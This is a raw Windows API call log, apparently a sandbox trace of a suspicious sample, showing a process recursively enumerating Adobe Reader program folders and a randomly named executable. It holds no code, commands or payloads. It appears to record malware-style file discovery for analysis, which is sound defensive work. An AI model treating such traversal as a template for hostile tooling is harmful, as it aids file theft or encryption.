	[0178.900] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="versions", cAlternateFileName="")) returned 0
	[0178.900] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0178.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0178.900] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 0
	[0178.900] FindClose (in: hFindFile=0x4140b58 | out: hFindFile=0x4140b58) returned 1
	[0178.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0178.900] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="variant.js", cAlternateFileName="")) returned 1
	[0178.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0178.902] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 0
	[0178.902] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0178.902] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0178.902] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x12eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.pdf", cAlternateFileName="")) returned 1
	[0178.902] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0178.902] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x40f9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1
	[0178.903] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0178.903] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3892d384, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1
	[0178.903] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0178.903] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY______.PFB", cAlternateFileName="")) returned 1
	[0178.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0178.904] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1
	[0178.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0178.904] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1
	[0178.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0178.904] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1
	[0178.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0178.904] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mac", cAlternateFileName="")) returned 1
	[0178.906] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0178.906] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="win", cAlternateFileName="")) returned 1
	[0178.908] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0178.908] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="win", cAlternateFileName="")) returned 0
	[0178.908] FindClose (in: hFindFile=0x4140d58 | out: hFindFile=0x4140d58) returned 1
	[0178.908] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0178.908] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340dcb4c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340dcb4c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 0
	[0178.908] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0178.908] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0178.908] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3406a41d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3406a41d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Unicode", cAlternateFileName="")) returned 0
	[0178.908] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0178.908] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0178.910] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0
	[0178.910] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0178.910] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0178.910] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1
	[0178.910] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0178.910] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-1033-7B44-AC0F074E4100}", cAlternateFileName="{AC76B~1")) returned 0
	[0178.910] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0178.910] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0178.910] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 0
	[0178.910] FindClose (in: hFindFile=0x4140798 | out: hFindFile=0x4140798) returned 1
	[0178.910] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0178.911] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf6d8b0, ftCreationTime.dwHighDateTime=0x1d5da3f, ftLastAccessTime.dwLowDateTime=0x69bc0170, ftLastAccessTime.dwHighDateTime=0x1d5d1f1, ftLastWriteTime.dwLowDateTime=0x69bc0170, ftLastWriteTime.dwHighDateTime=0x1d5d1f1, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="headlines-cope-finances.exe", cAlternateFileName="HEADLI~1.EXE")) returned 1
	[0178.911] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0178.912] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xea320b80, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea320b80, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0178.915] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0178.915] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33bf1c6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb3faac8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xde8f7271, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 0
	[0178.915] FindClose (in: hFindFile=0x4140d58 | out: hFindFile=0x4140d58) returned 1
	[0178.915] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0178.915] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARM", cAlternateFileName="")) returned 1
	[0178.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0178.916] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ac63e5, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0xa87217e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xa87217e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cache", cAlternateFileName="")) returned 0
	[0178.916] FindClose (in: hFindFile=0x4140e18 | out: hFindFile=0x4140e18) returned 1
	[0178.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0178.916] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0
	[0178.916] FindClose (in: hFindFile=0x4140b58 | out: hFindFile=0x4140b58) returned 1
	[0178.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0178.916] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HelpCfg", cAlternateFileName="")) returned 1
	[0178.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0178.916] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0
	[0178.916] FindClose (in: hFindFile=0x4140b58 | out: hFindFile=0x4140b58) returned 1
	[0178.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0178.916] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1
	[0178.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.918] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 1
	[0178.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0178.919] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Plugins2", cAlternateFileName="")) returned 1
	[0178.919] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0178.919] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
	[0178.919] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0178.919] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
	[0178.920] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0178.920] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f5f358, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f5f358, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0
	[0178.920] FindClose (in: hFindFile=0x4140ad8 | out: hFindFile=0x4140ad8) returned 1
	[0178.920] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0178.920] FindNextFileW (in: hFindFile=0x4141018, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33ec69cf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e00a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdobeHunspellPlugin.dll", cAlternateFileName="ADOBEH~1.DLL")) returned 1
	[0178.921] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0178.921] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f855c1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33fd1a84, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33fd1a84, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
	[0179.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.067] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
	[0179.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
